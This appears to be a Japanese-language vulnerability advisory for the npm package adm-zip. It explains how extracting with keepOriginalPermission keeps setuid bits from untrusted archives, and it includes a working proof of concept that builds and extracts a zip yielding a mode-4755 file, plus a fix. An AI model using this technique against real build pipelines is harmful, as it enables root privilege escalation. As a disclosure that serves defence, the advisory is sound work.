adm-zipによる展開処理において、信頼できないZIPファイルからSUID/SGIDビットがそのまま引き継がれ、ローカル権限昇格につながる。

## 概要

adm-zipは、`extractAllTo()`/`extractEntryTo()`関数に`keepOriginalPermission=true`が渡された場合、ZIPファイル内のエントリに格納されているUnixのアクセス権限ビットを、`fs.chmodSync()`関数を通じて展開されたファイルに直接適用します。そして、setuid/setgid/stickyビットをフィルタリングすることはありません。攻撃者が作成したZIPファイルは、展開されたバイナリファイルに`04755`というモードを設定することができます。展開処理がroot権限で実行される場合(Dockerのビルド、CI環境、特権的なインストール手順など、このフラグが使用される環境ではデフォルトでroot権限で実行される)、結果としてrootユーザーが所有するsetuidファイルが、権限の低いユーザーによって実行され、攻撃者のコードがroot権限で実行されることになります。

## 詳細

ZIPファイルのエントリが持つべきモードは、ヘッダー内の外部ファイル属性から読み込まれ、マスクによってすべての特殊ビットが保持されます。

```js
// headers/entryHeader.js:187
get fileAttr() {
return (_attr || 0) >> 16 & 0xfff;
}
```

`0xfff`は`0o7777`であり、setuid (`0o4000`)、setgid (`0o2000`)、およびstickyビット (`0o1000`)に加えて、rwxビットも保持します。16ビットシフトは、ZIPファイルがモード情報を格納する際の標準的なUnixの慣習です。問題は、このマスクです。

このフラグが有効になっている場合、その値は直接書き込み処理に渡されます。

```js
// adm-zip.js:726-727 (extractEntryTo, and identically in extractAllTo)
const fileAttr = keepOriginalPermission ? entry.header.fileAttr : undefined;
filetools.writeFileTo(target, content, overwrite, fileAttr);
```

```js
// util/utils.js:94
self.fs.chmodSync(path, attr || 0o666);
```

`0o777`とのAND演算が行われないため、`0o7000`のビットが取り除かれません。ZIPファイルに含まれる攻撃者が制御するバイトが、ライブラリがディスク上に作成するファイルの最終的なモードを決定します。ディレクトリのエントリも影響を受けます (`adm-zip.js:855`)。そのため、ディレクトリエントリにsetgidビットが設定されている場合、そのビットが引き継がれ、ディレクトリ内の新しいファイルにグループの継承が適用されます。

## PoC (概念実証)

adm-zip@0.6.0 (2026年8月1日現在、最新バージョン)、Node 22、Linuxで検証済み。

1. 標準ツールを使用して、setuidバイナリを含むzipファイルを作成します(これは現実的な攻撃者の経路であり、adm-zip APIが作成には一切関与しません)。

```bash
python3 -c "
import zipfile
zi = zipfile.ZipInfo('pysuidbin')
zi.external_attr = 0o4755 << 16
with zipfile.ZipFile('evil.zip', 'w') as z:
z.writestr(zi, '#!/bin/sh\nid\n')
"
```

2. フラグを有効にして展開します。

```js
const AdmZip = require('adm-zip');
new AdmZip('evil.zip').extractAllTo('/tmp/out', true, true);

const fs = require('fs');
const st = fs.statSync('/tmp/out/pysuidbin');
console.log((st.mode & 0o7777).toString(8));
// => 4755 (setuidビットが設定されています — 展開を実行するユーザーがrootの場合、ファイルはroot所有になります)
```

3. 制御 — 同じzipファイル、デフォルトの展開(`keepOriginalPermission=false`):
modeは`0666`になり、setuidは設定されません。フラグが有効にするものです。

代替手段として、zipファイルがadm-zip自身のAPIを使用してプロセス内で作成された場合:

```js
const zip = new AdmZip();
zip.addFile('suidbin', Buffer.from('#!/bin/sh\nid\n'), '', 0o4755);
zip.writeZip('evil.zip');
new AdmZip('evil.zip').extractAllTo('/tmp/out', true, true);
// 同じ結果:stat mode & 0o7777 === 0o4755
```

## 影響

権限昇格。
この脆弱性はCWE-732(不適切な権限の割り当て)に該当します。信頼できない入力から取得された権限ビットが、フィルタリングなしで適用されます。

現実的な攻撃シナリオ:

1. 攻撃者は、zipファイルを供給します(アップロード先、取得した依存関係のアーカイブ、ビルドスクリプト内のファイルなど。ファイルを作成するために特別なアクセス権は必要ありません)。
2. パイプラインまたはサービスが、`keepOriginalPermission=true`という設定で、そのファイルをroot権限で展開します。Dockerのビルドはデフォルトでroot権限で行われ、CI/インストール手順も同様であることが一般的です。このフラグは、特に権限を維持したデプロイメントフローで使用されるツールに関連しています。
3. root権限を持つsetuidファイルが、ビルド環境からそのまま、通常は`cp -a`やrsyncのモードビット伝播によって、実行環境に引き継がれます。
4. 特権のないアプリケーションユーザーまたはサービスアカウントが、そのファイルを実行します(root権限でビルドし、ユーザー権限で実行するという一般的なモデル)。これにより、攻撃者のコードがroot権限で実行されます。

影響を受ける対象:`keepOriginalPermission=true`という設定で、root権限で実行されている状態で、信頼できないアーカイブを展開するアプリケーションやパイプライン。
デフォルト設定(フラグがオフ)で利用している場合は影響を受けません。root権限でない状態で展開すると、無害な、自身が所有するsetuidファイルが作成されます。
深刻度:中
推奨される修正:getter関数に1行を追加します。

```js
get fileAttr() {
return (_attr >> 16) & 0o777;
}
```

影響を受けるパッケージ:
- npm (JavaScript) adm-zip: 影響あり(バージョン0.6.0以下)、修正済み(バージョン0.6.1)